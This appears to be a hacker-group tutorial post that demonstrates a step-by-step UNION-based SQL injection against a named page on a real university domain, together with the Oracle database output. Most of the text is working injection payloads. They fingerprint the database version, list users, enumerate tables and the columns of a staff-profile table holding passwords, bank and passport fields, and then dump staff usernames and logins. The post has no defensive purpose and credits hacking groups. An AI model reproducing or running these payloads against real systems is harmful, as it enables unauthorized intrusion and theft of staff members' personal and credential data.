SQL Injection Oracle (jsp) By Cep Engking

Author    : Cep Engking
Thanks to : All Khorasan CyberArmy & Rob0t Pirates Member
Special to: CyberCode Khorasan, JinCorn, An0nym0uZ-17, cliZAceh, Hitcher, CFR, Zqor, TOr Demon, Dr Ninja

https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=1 order by 3-- 

SQL Error - ORA-01785: ORDER BY item must be the number of a SELECT-list expression



https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select 1,2--

SQL Error - ORA-00923: FROM keyword not found where expected



https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436'and

1=2 union all select 1,2 from dual--


SQL Error - ORA-01790: expression must have same datatype as corresponding expression


https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,null from dual--

 null



https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,banner FROM v$version--

Oracle Database 10g Enterprise Edition Release 10.2.0.5.0 - 64bi PL/SQL Release 10.2.0.5.0 - Production CORE 10.2.0.5.0 Production TNS for Linux: Version 10.2.0.5.0 - Production NLSRTL Version 10.2.0.5.0 - Production




https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,user FROM dual--

ICEM_WEB




https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,global_name FROM global_name--


ICEMS.REGRESS.RDBMS.DEV.US.ORACLE.COM



https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,'ICEM_WEB-->' || global_name FROM global_name--


https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,username from all_users--

SYS2 SYSTEM3 OUTLN4 DIP5 DMSYS6 TSMSYS7 DBSNMP8 WMSYS9 EXFSYS10 CTXSYS11 XDB12 ANONYMOUS13 OLAPSYS14 ORDSYS15 ORDPLUGINS16 SI_INFORMTN_SCHEMA


https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,owner||'-->'||table_name from all_tables--


https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,column_name from all_tab_columns where table_name='STAFF_PROFILE'--

STAFF_UNITELE_JOIN_DATE2 STAFF_TELEKOM_JOIN_DATE3 STAFF_CONFIRM_DATE4 STAFF_PENSION_DATE5 STAFF_RESIGN_DATE6 STAFF_JOB_ID7 STAFF_JOB_STATUS8 STAFF_FACULTY_ID9 STAFF_EMAIL10 STAFF_OFF_TEL11 STAFF_OFF_EXT12 STAFF_OFF_FAX13 STAFF_HAND_TEL14 STAFF_PHOTO15 STAFF_CITY_CUR16 STAFF_CITY_PMT17 STAFF_BANK_ACC18 STAFF_BANK19 STAFF_BANK_ACC_TYPE20 STAFF_INCOMETAX_BRANCH21 STAFF_SPOUSE_INCOMETAX22 STAFF_SPOUSE_INCOMETAX_BRANCH23 STAFF_EXEC24 STAFF_GROUP_ID25 STAFF_ASB26 STAFF_LUTH27 STAFF_PASWD28 STAFF_PASSPORT_START29 STAFF_RESEARCH30 STAFF_CON_PERIOD31 STAFF_TAKAFUL32 STAFF_BPA33 STAFF_JIMAT34 STAFF_REP_DUTY35 STAFF_ANNUAL36 STAFF_EXPIRY37 STAFF_TITLE38 STAFF_PAS_GAJI39 STAFF_MARRIED_DATE40 STAFF_SOCIAL41 STAFF_LOGIN42 STAFF_IP43 STAFF_TENDER44 STAFF_UPD_BRANCH45 STAFF_DATETIME46 STAFF_COMP_LOAN47 STAFF_BLOOD48 STAFF_FLEXY_TIME49 STAFF_AIR_TICKET50 STAFF_STUDY_LOAN51 TELEKOM_SCHOLAR52 STAFF_ID53 BRANCH_ID54 STAFF_USERNAME55 STAFF_NAME56 STAFF_STATUS57 STAFF_IC_CUR58 STAFF_IC_OLD59 STAFF_MED_NUM60 STAFF_DOB61 STAFF_BIRTHPLACE62 STAFF_BIRTHSTATE63 STAFF_SEX64 STAFF_MARITAL65 STAFF_NO_CHILD66 STAFF_RACE67 STAFF_RELIGION68 STAFF_CITIZEN69 STAFF_ADDR_CUR70 STAFF_STATE_CUR71 STAFF_COUNTRY_CUR72 STAFF_PCODE_CUR73 STAFF_ADDR_PMT74 STAFF_STATE_PMT75 STAFF_COUNTRY_PMT76 STAFF_PCODE_PMT77 STAFF_TEL_HOME78 STAFF_INCOMETAX79 STAFF_EPF80 STAFF_SOCSO81 STAFF_DRV_LIC82 STAFF_DRV_EXPIRY83 STAFF_PASSPORT84 STAFF_PASSPORT_EXPIRY85 STAFF_WORK_PERMIT_EXPIRY86 STAFF_VISA_EXPIRY



https://icems.mmu.edu.my/doe/doe_detail.jsp?id=1001034436

' and 1=2 union all select null,STAFF_USERNAME || ' : ' || STAFF_NAME || ' : ' || STAFF_LOGIN from STAFF_PROFILE--